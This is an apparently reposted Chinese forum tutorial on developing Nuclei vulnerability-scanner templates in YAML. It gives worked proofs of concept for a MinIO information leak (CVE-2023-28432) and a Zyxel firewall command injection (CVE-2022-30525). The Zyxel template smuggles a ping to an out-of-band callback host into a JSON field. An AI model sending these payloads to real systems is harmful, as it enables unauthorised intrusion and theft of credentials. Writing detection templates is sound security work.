ToB企服应用市场:ToB评测及商务社交产业平台

标题: 漏洞发现-漏扫项目&Poc开发&Yaml语法&插件一键生成&匹配效果&交互提取 [打印本页]
作者: 万有斥力    时间: 前天 16:45
标题: 漏洞发现-漏扫项目&Poc开发&Yaml语法&插件一键生成&匹配效果&交互提取
知识点

1、Nuclei-Poc开发-环境配置&编写流程
2、Nuclei-Poc开发-Yaml语法&匹配提取
3、Nuclei-Poc开发-BurpSuite一键生成插件
一、演示案例-Nuclei-Poc开发-环境配置&编写流程

1、开发环境：Vscode+Yaml插件
https://code.visualstudio.com/


2、开发文档参考资料
官方文档
https://docs.projectdiscovery.io/templates/protocols/http/basic-http

nuclei poc模板编写条记
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
二、演示案例-Nuclei-Poc开发-Yaml语法&匹配提取

YAML是一种数据序列化语言，它的基本语法规则留意如下：
巨细写敏感
使用缩进表示层级关系
缩进时不允许使用Tab键，只允许使用空格。
缩进的空格数目不紧张，只要相同层级的元素左侧对齐即可
Yaml Poc模版：
1、编号 id(描述)
2、信息 info(描述)

3、请求 http file tcp等(漏洞以什么方式请求)


4、匹配 matchers Interactsh(对效果匹配关键字来判断是否存在漏洞)

5、提取 extractors(对效果提取页面长度、状态等来判断是否存在漏洞)
开发流程：

0、poc模版套用修改

1、poc创建独立编号

2、poc填入详细信息

3、poc提交协议流程编写

4、poc效果匹配模式判断,and全部条件为真；or一个为真即可

5、poc效果提取模式判断
案例1：CVE-2023-28432 （匹配效果）
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md


点击检察该环境POC代码
  1. id: CVE-2023-28432
  3. info:
  4.   name: MinIO集群模式信息泄露漏洞（CVE-2023-28432）
  5.   author: xiaodisec
  6.   severity: low
  7.   description: 在其RELEASE.2023-03-20T20-16-18Z版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
  8.   reference:
  9.     - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  10.   tags: MinIO,CVE
  11.   
  12. http:
  13.   - raw:
  14.       - |
  15.         POST /minio/bootstrap/v1/verify HTTP/1.1
  16.         Host: {{Hostname}}
  17.         Content-Type: application/x-www-form-urlencoded
  18.     matchers:
  19.       - type: word
  20.         part: body
  21.         words:
  22.           - '"MINIO_ROOT_PASSWORD":'
  23.           - '"MINIO_ROOT_USER":'
  24.           - '"MinioEnv":'
  25.         condition: and
复制代码


案例2：CVE-2022-30525（匹配交互）

https://blog.csdn.net/weixin_43080961/article/details/124776553


点击检察环境POC代码
  1. id: CVE-2022-30525
  3. info:
  4.   name: Zyxel 防火墙远程命令注入漏洞
  5.   author: xiaodisec
  6.   severity: high
  7.   description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
  8.   reference:
  9.     - https://blog.csdn.net/weixin_43080961/article/details/124776553
  10.   tags: zyxel,cve,rce
  11.   
  12. http:
  13.   - raw:
  14.       - |
  15.         POST /ztp/cgi-bin/handler HTTP/1.1
  16.         Host: {{Hostname}}
  17.         Content-Type: application/json
  18.         {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
  19.     payloads:
  20.       exploit:
  21.         - ";ping -c 3 {{interactsh-url}};"
  22.    
  23.     matchers:
  24.       - type: word
  25.         part: interactsh_protocol
  26.         name: dns
  27.         words:
  28.           - "dns"
复制代码


三、演示案例-Nuclei-Poc开发-BurpSuite一键生成插件

nuclei-burp-plugin
https://github.com/projectdiscovery/nuclei-burp-plugin
1、导入或商店安装

2、配置插件路径信息

3、数据包选择生成模版
CVE-2023-28432


然后在bp复现下这个漏洞poc，乐成后右键数据包使用插件生成nuclei插件模板



CVE-2022-30525



免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。



欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4